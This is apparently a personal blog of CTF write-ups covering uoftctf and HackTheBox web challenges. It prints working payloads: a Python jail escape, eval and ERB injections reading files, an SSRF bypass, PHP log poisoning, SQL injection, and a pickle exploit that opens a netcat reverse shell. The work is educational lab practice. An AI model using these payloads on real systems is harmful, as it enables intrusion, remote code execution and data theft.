Ikonw

CTF - uoftctf

Jail - Baby’s First PyJail

@windex told me that jails should be sourceless. So no source for you.

Certain words are filtered 'import', 'exec', 'eval', 'os', 'open', 'read', 'system', 'module', 'write', '.'

By printing the __builtins__

>>> print(dir(__builtins__))
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

We are still able to use getattr to access the object even though the import is banned. And manipulate the string to avoid the blacklist detections.

The solution below avoids the black list character and dots.

getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat flag.txt')

Or


getattr(getattr(globals()['__builtins__'], '__im'+'port__')('o'+'s'), 'sys'+'tem')('cat flag')

https://www.clementi.top/2023/07/13/python%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/index.html

https://www.freebuf.com/articles/web/326406.html.

Web - Voice Changer

I made a cool app that changes your voice.

It’s a web application to record voice and sent over to server side and will parse by ffmpeg.

During the analyse phase using burp, the pitch parameter found to be vulnerable to command injections and the result is return back in the output.

Web - The Varsity

Come read our newspaper! Be sure to subscribe if you want access to the entire catalogue, including the latest issue.

Source code is provided, basically after user register, it allows user to view articles.

According to the source code, the flag is stored at article 10

However viewing the article 10 requires subscription which the roles is embedded in JWT.

In this part of code, it provides the POST route for /article.

app.post("/article", (req, res) => {
const token = req.cookies.token;

if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);

let issue = req.body.issue;

if (req.body.issue < 0) {
return res.status(400).json({ message: "Invalid issue number" });
}

if (decoded.subscription !== "premium" && issue >= 9) {
return res
.status(403)
.json({ message: "Please subscribe to access this issue" });
}

issue = parseInt(issue);


if (Number.isNaN(issue) || issue > articles.length - 1) {
return res.status(400).json({ message: "Invalid issue number" });
}
return res.json(articles[issue]);
..................

It seems that there’s some problem with the parseInt.

Before parseInt, issue have to be less than 9 and after the parseInt we need issue to be less than 10.

After some research we found that using the scientific notation able us to meet the condition.

when the value of issue is

we will craft the issue to be "9.999e-1" which will bypass the first check and after parseint the value of issues will be 9.

Since the value issue now is 9, it will also bypass the second check, and return res.json(article[9])

Web - No Code

from flask import Flask, request, jsonify
import re

app = Flask(__name__)

@app.route('/execute', methods=['POST'])
def execute_code():
code = request.form.get('code', '')
if re.match(".*[\x20-\x7E]+.*", code):
return jsonify({"output": "jk lmao no code"}), 403
result = ""
try:
result = eval(code)
except Exception as e:
result = str(e)

return jsonify({"output": result}), 200

if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)

re.match(".*[\x20-\x7E]+.*", code)

This regex is using the re.match() function to check if the code string contains any printable ASCII characters. Let’s break down the components:

  • .*: Matches any character (except for a newline) zero or more times.
  • [\x20-\x7E]+: This is a character class that matches one or more characters within the hexadecimal range \x20 (space) to \x7E (tilde). This range represents the printable ASCII characters, including letters, digits, punctuation, and some special characters.

By enter a new line will bypass the check of regex

import requests

payload = "\n__builtins__.__import__('os').popen('cat flag.txt').read()"

url = "https://uoftctf-no-code.chals.io/execute"

r = requests.post(url,data={"code":payload})
print(r.text)

{"output":"uoftctf{r3g3x_3p1c_f41L_XDDD}"}

Continue
HTB Web Challenge

Jscalc - Easy

Description

In the mysterious depths of the digital sea, a specialized JavaScript calculator has been crafted by tech-savvy squids. With multiple arms and complex problem-solving skills, these cephalopod engineers use it for everything from inkjet trajectory calculations to deep-sea math. Attempt to outsmart it at your own risk! 🦑

Poking through the website found it uses eval(), in this case, it is vulnerable directly execute javascript codes

Take a look at routes, the /api/calculate accept variable called ‘formula‘ and passed it to the calculatorHelp calculator for processing

const path       = require('path');
const express = require('express');
const router = express.Router();
const Calculator = require('../helpers/calculatorHelper');

const response = data => ({ message: data });

router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/calculate', (req, res) => {
let { formula } = req.body;

if (formula) {
result = Calculator.calculate(formula);
return res.send(response(result));
}

return res.send(response('Missing parameters'));
})

module.exports = router;

// ocd

and it directly proceed with eval without sanitized the input

js
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);

} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}

Reading files with Node.js

readFileSync can be used to read files.

craft payload in one line would be

require('fs').readFileSync('../flag.txt')

However it seems to return an object.

Modify the parameter for readFileSync to utf8

require('fs').readFileSync('../flag.txt','utf8')

ProxyAsService - Easy

app.py

app.register_blueprint(proxy_api, url_prefix='/')
app.register_blueprint(debug, url_prefix='/debug')

2 route blueprint proxy_api and debug

ip:port/(proxy_api)
ip:port/debug(debug)

route.py

from flask import Blueprint, request, Response, jsonify, redirect, url_for
from application.util import is_from_localhost, proxy_req
import random, os

SITE_NAME = 'reddit.com'

proxy_api = Blueprint('proxy_api', __name__)
debug = Blueprint('debug', __name__)


@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
url = request.args.get('url')

if not url:
cat_meme_subreddits = [
'/r/cats/',
'/r/catpictures',
'/r/catvideos/'
]

random_subreddit = random.choice(cat_meme_subreddits)

return redirect(url_for('.proxy', url=random_subreddit))

target_url = f'http://{SITE_NAME}{url}'
response, headers = proxy_req(target_url)

return Response(response.content, response.status_code, headers.items())

@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
environment_info = {
'Environment variables': dict(os.environ),
'Request headers': dict(request.headers)
}

return jsonify(environment_info)

Break down into 2 parts.

in the default index route, if the url parameter is not provided in the request, it will be randomly assign a path to reddits.

If the url is set in parameter, it will access the url through the proxy_req function

@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
url = request.args.get('url')

if not url:
cat_meme_subreddits = [
'/r/cats/',
'/r/catpictures',
'/r/catvideos/'
]

random_subreddit = random.choice(cat_meme_subreddits)

return redirect(url_for('.proxy', url=random_subreddit))

target_url = f'http://{SITE_NAME}{url}'
response, headers = proxy_req(target_url)

return Response(response.content, response.status_code, headers.items())

utils.py

In this utils.py states the restriction for proxy_req functions stated previously, it will check if the url parameter contains the restricted keywords in the RESTIRCTED_URLS list. It will then act as a proxy send a request and forward the response back to user.

RESTRICTED_URLS = ['localhost', '127.', '192.168.', '10.', '172.']

def is_safe_url(url):
for restricted_url in RESTRICTED_URLS:
if restricted_url in url:
return False
return True

def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1':
return abort(403)
return func(*args, **kwargs)
return check_ip

def proxy_req(url):
method = request.method
headers = {
key: value for key, value in request.headers if key.lower() in ['x-csrf-token', 'cookie', 'referer']
}
data = request.get_data()

response = requests.request(
method,
url,
headers=headers,
data=data,
verify=False
)

if not is_safe_url(url) or not is_safe_url(response.url):
return abort(403)

return response, headers

From here, it clearly seems a SSRF challenge. But where is the flag?

Checking through the docker files, the flag is hiding in the environment variable. Which we can obtain through the second part of the debug endpoints

@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
environment_info = {
'Environment variables': dict(os.environ),
'Request headers': dict(request.headers)
}

return jsonify(environment_info)

It has to check if the request if is from localhost

def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1':
return abort(403)
return func(*args, **kwargs)
return check_ip

Now the task seems clearer, we have to craft a SSRF attacks, targeted to the /debug/environment and leak the environment settings that contains the flag.

Firstly, we have to bypass the restriction of RESTRICTED_LIST, it can be easily bypass by using decimal to represent IP address. Hacktrick also provided other methods that represent localhost

Secondly, we cannot directly input the url point to endpoint as it will embedded a reddit infront of our provided user input.

Therefore we can use @ to bypass that.

Therefore the full payload will be

http://<ip>:<port>?url=@2130706433:<port>/debug/environment

The server side will interpreted as

http://<ip>:<port>?url=reddit@2130706433:<port>/debug/environment

However, one interesting thing is when I setup docker in my localhost.

I am able to get the flag through the payload indicate the port to be 1337 (Which docker itself exposed to 1337)

http://172.17.0.1:1337/?url=@2130706433:1337/debug/environment

but to the real target, I have difficulties using the same port 32436.

Suspect it is a mapping of ports when expose to public IPs.

Therefore have to change the payload to port 1337

http://159.65.24.125:32436/?url=@0.0.0.0:1337/debug/environment

RenderQuest - Easy

You’ve found a website that lets you input remote templates for rendering. Your task is to exploit this system’s vulnerabilities to access and retrieve a hidden flag. Good luck!

From the description it seems like a Server Side Template Injection.

In function getTpl

It retrieve the page and render the page using html template.

https://pkg.go.dev/html/template

func (p RequestData) FetchServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {

This function is able to execute system information. Finding a way to trigger this function.

It looks complicated, but we can always use chatGPT to spawn a sample html page with the go lang template.

<!-- File name: index.tpl -->

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Sample Template</title>
</head>
<body>
<h1>Welcome!</h1>
<p>This is a sample GoLang HTML template page.</p>

<!-- Here, you can include Go template syntax to render dynamic content -->
<p>Client IP: {{.ClientIP}}</p>
<p>User Agent: {{.ClientUA}}</p>
<p>Server Hostname: {{.ServerInfo.Hostname}}</p>
<p>Server OS: {{.ServerInfo.OS}}</p>
<p>Server Kernel Version: {{.ServerInfo.KernelVersion}}</p>
<p>Server Memory: {{.ServerInfo.Memory}}</p>

<p>Location Information:</p>
<ul>
<li>IP Version: {{.ClientIpInfo.IpVersion}}</li>
<li>IP Address: {{.ClientIpInfo.IpAddress}}</li>
<li>Latitude: {{.ClientIpInfo.Latitude}}</li>
<li>Longitude: {{.ClientIpInfo.Longitude}}</li>
<li>Country Name: {{.ClientIpInfo.CountryName}}</li>
<li>Country Code: {{.ClientIpInfo.CountryCode}}</li>
<li>Time Zone: {{.ClientIpInfo.TimeZone}}</li>
<li>Zip Code: {{.ClientIpInfo.ZipCode}}</li>
<li>City Name: {{.ClientIpInfo.CityName}}</li>
<li>Region Name: {{.ClientIpInfo.RegionName}}</li>
<li>Continent: {{.ClientIpInfo.Continent}}</li>
<li>Continent Code: {{.ClientIpInfo.ContinentCode}}</li>
</ul>
</body>
</html>

Using web hook, paste the html template into the response.

Great we can render the page.

Next we can just edit to call the FetchServerInfo

and we got the result

total 10172
drwxr-xr-x 1 root root 4096 Dec 17 12:54 .
drwxr-xr-x 1 root root 4096 Dec 17 12:54 ..
-rw-r--r-- 1 root root 4786 Sep 11 14:11 main.go
-rwxr-xr-x 1 root root 10387927 Dec 17 12:54 renderquest
drwxr-xr-x 4 root root 4096 Sep 7 23:12 static
drwxr-xr-x 2 root root 4096 Sep 7 23:12 templates

Toxic - Easy

Humanity has exploited our allies, the dart frogs, for far too long, take back the freedom of our lovely poisonous friends. Malicious input is out of the question when dart frogs meet industrialisation. 🐸

In index.php

if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';

setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}

$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);

The page is deserialize the cookie to render the page.

The url file page being render is being indicate in the file attribute.

Below is the breakdown of the seralized object

- `O:9:"PageModel":1`:
- `O`: Denotes an object.
- `9`: The length of the serialized string.
- `"PageModel"`: Name of the class (in this case, "PageModel").
- `1`: Indicates there is 1 property in the serialized object.
- `{s:4:"file";s:15:"/www/index.html";}`:

- `s:4:"file";`: Represents a string with a length of 4 characters for the property name "file".
- `s:15:"/www/index.html";`: Represents a string with a length of 15 characters for the value "/www/index.html".

The only field we have to modify is the s:15:"/www/index.html".

Then we can have a control of what is being render in the page.

┌──(ikonw㉿Xing)-[~/Desktop/htb_challenge/RenderQuest]
└─$ echo 'O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}' | base64
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30K

After some trial and error, I dont seem to show the /flag.txt. Checking the docker it seems the filename is being by randomly renamed in entrypoint.sh

!/bin/ash

# Secure entrypoint
chmod 600 /entrypoint.sh

# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`

exec "$@"

we have no way to extract the file without knowing the name.

Since we are able to have local file inclusion, we can always perform log poisoning.

Review the Dockerfile, the webserver is using nginx, which means we can find the access.log file located at /var/log/nginx/access.log

Changed the User-Agent to executes PHP codes

Below is the full script to extract the flag name and the content using regex.

import requests
import base64
import re
url = "http://167.99.85.216:30412/"

cookie = b'O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}'
cookie = base64.b64encode(cookie)
header = {"PHPSESSID": cookie.decode()}
print(cookie)
headers = {"User-Agent": "<?php system('ls -la /')?>"}
r = requests.get(url,cookies=header, headers=headers)
flag = re.search(r'\bflag_\w+\b', r.text, flags=re.IGNORECASE)
flag = flag.group()

headers = {"User-Agent": f"<?php system('cat /{flag}')?>"}
print(headers)
r = requests.get(url,cookies=header, headers=headers)
print(r.text)

Neonify - Easy

It’s time for a shiny new reveal for the first-ever text neonifier. Come test out our brand new website and make any text glow like a lo-fi neon tube!

In neon.rb file indicate POST method route seems using ERB template engine to render user inputs.

class NeonControllers < Sinatra::Base

configure do
set :views, "app/views"
set :public_dir, "public"
end

get '/' do
@neon = "Glow With The Flow"
erb :'index'
end

post '/' do
if params[:neon] =~ /^[0-9a-z ]+$/i
@neon = ERB.new(params[:neon]).result(binding)
else
@neon = "Malicious Input Detected"
end
erb :'index'
end

The regex match the start and the end of the line, and matches alphanumeric and whitespace only.

With some research that Ruby regex has some form of insecure use of Regular expressions.

According to hacktrick we can supply the following payload for reading files

<%= File.open('/etc/passwd').read %>

In order to abuse the insecure regex in ruby, burp request seems have problem with the \n.

We can just firefox to modify the request to manually append a new line just like this in network tab

However I did receive a 400 error request.

After some research, I perform a URL encode seems to get the things right

neon=a
%3C%25%3D%20File.open(%27%2Fetc%2Fpasswd%27).read%20%25%3E

Yeah, manage to read the file, now we can just change /etc/passwd to /flag.txt and we got the flag.

C.O.P - Easy

The C.O.P (Cult of Pickles) have started up a new web store to sell their merch. We believe that the funds are being used to carry out illicit pickle-based propaganda operations! Investigate the site and try and find a way into their operation!

Perform a blackbox approach first, found the site shows the ID of the item.

Found the item to be listed on the URL

http://localhost:1337/view/1

Tried with sqlmap to identify any possible SQLi.

However there’s some problem with the URL, as it dont have paramter to inject, need to manually added a * in burp request and save it

GET /view/1* HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
sqlmap -r requests.txt --dump-all


+----+----------------------------------------------------------------------------------
| id | data | created_at |
+----+----------------------------------------------------------------------------------
| 1 | gASVoAAAAAAAAACMFGFwcGxpY2F0aW9uLmRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDFBpY2tsZSBTaGlydJSMC2Rlc2NyaXB0aW9ulIwZR2V0IG91ciBuZXcgcGlja2xlIHNoaXJ0IZSMBWltYWdllIwfL3N0YXRpYy9pbWFnZXMvcGlja2xlX3NoaXJ0LmpwZ5SMBXByaWNllIwCMjOUdWIu | 2024-01-02 13:44:09 |
| 2 | gASVrAAAAAAAAACMFGFwcGxpY2F0aW9uLmRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMDlBpY2tsZSBTaGlydCAylIwLZGVzY3JpcHRpb26UjCJHZXQgb3VyIChzZWNvbmQpIG5ldyBwaWNrbGUgc2hpcnQhlIwFaW1hZ2WUjCAvc3RhdGljL2ltYWdlcy9waWNrbGVfc2hpcnQyLmpwZ5SMBXByaWNllIwCMjeUdWIu | 2024-01-02 13:44:09 |
| 3 | gASVnQAAAAAAAACMFGFwcGxpY2F0aW9uLmRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMD0RpbGwgUGlja2xlIEphcpSMC2Rlc2NyaXB0aW9ulIwXTGl0ZXJhbGx5IGp1c3QgYSBwaWNrbGWUjAVpbWFnZZSMGS9zdGF0aWMvaW1hZ2VzL3BpY2tsZS5qcGeUjAVwcmljZZSMBDEzMzeUdWIu | 2024-01-02 13:44:09 |
| 4 | gASVsgAAAAAAAACMFGFwcGxpY2F0aW9uLmRhdGFiYXNllIwESXRlbZSTlCmBlH2UKIwEbmFtZZSMD0JyYW5zdG9uIFBpY2tsZZSMC2Rlc2NyaXB0aW9ulIwjRG9lcyB0aGlzIGV2ZW4gZml0IG9uIG91ciBzdG9yZT8hPyGUjAVpbWFnZZSMIi9zdGF0aWMvaW1hZ2VzL2JyYW5zdG9uX3BpY2tsZS5qcGeUjAVwcmljZZSMBDcuMzCUdWIu | 2024-01-02 13:44:09 |
+----+----------------------------------------------------------------------------------

Found some encoded value, decode with base64 seems like some seralization.

Proceed with source code analysis.

class shop(object):
@staticmethod
def select_by_id(product_id):
return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

The parameter does not have any sanitization

The application seems to serialized the item object and base64 encode and save it in database.

@app.template_filter('pickle')
def pickle_loads(s):
return pickle.loads(base64.b64decode(s))

In item.html the template engine deserialize the items and render on webpage.

{% set item = product | pickle %}

Since it dont have any restriction, we can passed in a base64 encoded object that trigger a os.system command to achieve RCE.

In the payload class, we use the __reduce__ method to create and return a tuple that includes the operating system command as an argument. Then, from that payload class, we create an object, serialize and encode it. Once again, using Base64, we’ll just need the input from there.

import base64
import os
import pickle

payload = 'nc 172.17.0.1 4444 -e /bin/sh'

class exploit:
def __reduce__(self):
return os.system, (payload,)

if __name__ == '__main__':
print(base64.urlsafe_b64encode(pickle.dumps(exploit())).decode('ascii'))

From here we got the base64 encoded string

gASVOAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjB1uYyAxNzIuMTcuMC4xIDQ0NDQgLWUgL2Jpbi9zaJSFlFKULg==

Now we have to construct the parameter that abuse the SQLI to deserizlise malicious object.
`

http://localhost:1337/view/'%20UNION%20SELECT%20'gASVOAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjB1uYyAxNzIuMTcuMC4xIDQ0NDQgLWUgL2Jpbi9zaJSFlFKULg==

EasterBunny - Easy

It’s that time of the year again! Write a letter to the Easter bunny and make your wish come true! But be careful what you wish for because the Easter bunny’s helpers are watching!

Break down the routes.js

router.get("/", (req, res) => {
return res.render("index.html", {
cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
});
});

The / path define that, it will render the index.html and pass the CDN url to it.

To be more detailed as not familiar with node js syntax.

The $$ operator used here is the Nullish Coalescing Operator in javascript. It returns the value if the left hand operand if it’s not null or undefined. If the left-hand side is null or uundefined it returns the right hand operand in this case is 80

cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,

same goes to the second endpoint /letter

router.get("/letters", (req, res) => {
return res.render("viewletters.html", {
cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
});
});

third endpoint /submit.

Its a post method, checking if parameter message is exist in the request body. if it does not exist or empty it will exit.

Next, if the message exist, it will inject the message into database using the method db.insertMessage.

If the message is successful insert into database, it will trigger a bot to visit the speceific URL

router.post("/submit", async (req, res) => {
const { message } = req.body;

if (message) {
return db.insertMessage(message)
.then(async inserted => {
try {
botVisiting = true;
await visit(`http://127.0.0.1/letters?id=${inserted.lastID}`, authSecret);
botVisiting = false;
}
catch (e) {
console.log(e);
botVisiting = false;
}
res.status(201).send(response(inserted.lastID));
})
.catch(() => {
res.status(500).send(response('Something went wrong!'));
});
}
return res.status(401).send(response('Missing required parameters!'));
});

Cyber Apocalypse 2024

Continue
Home Archives Tags About Search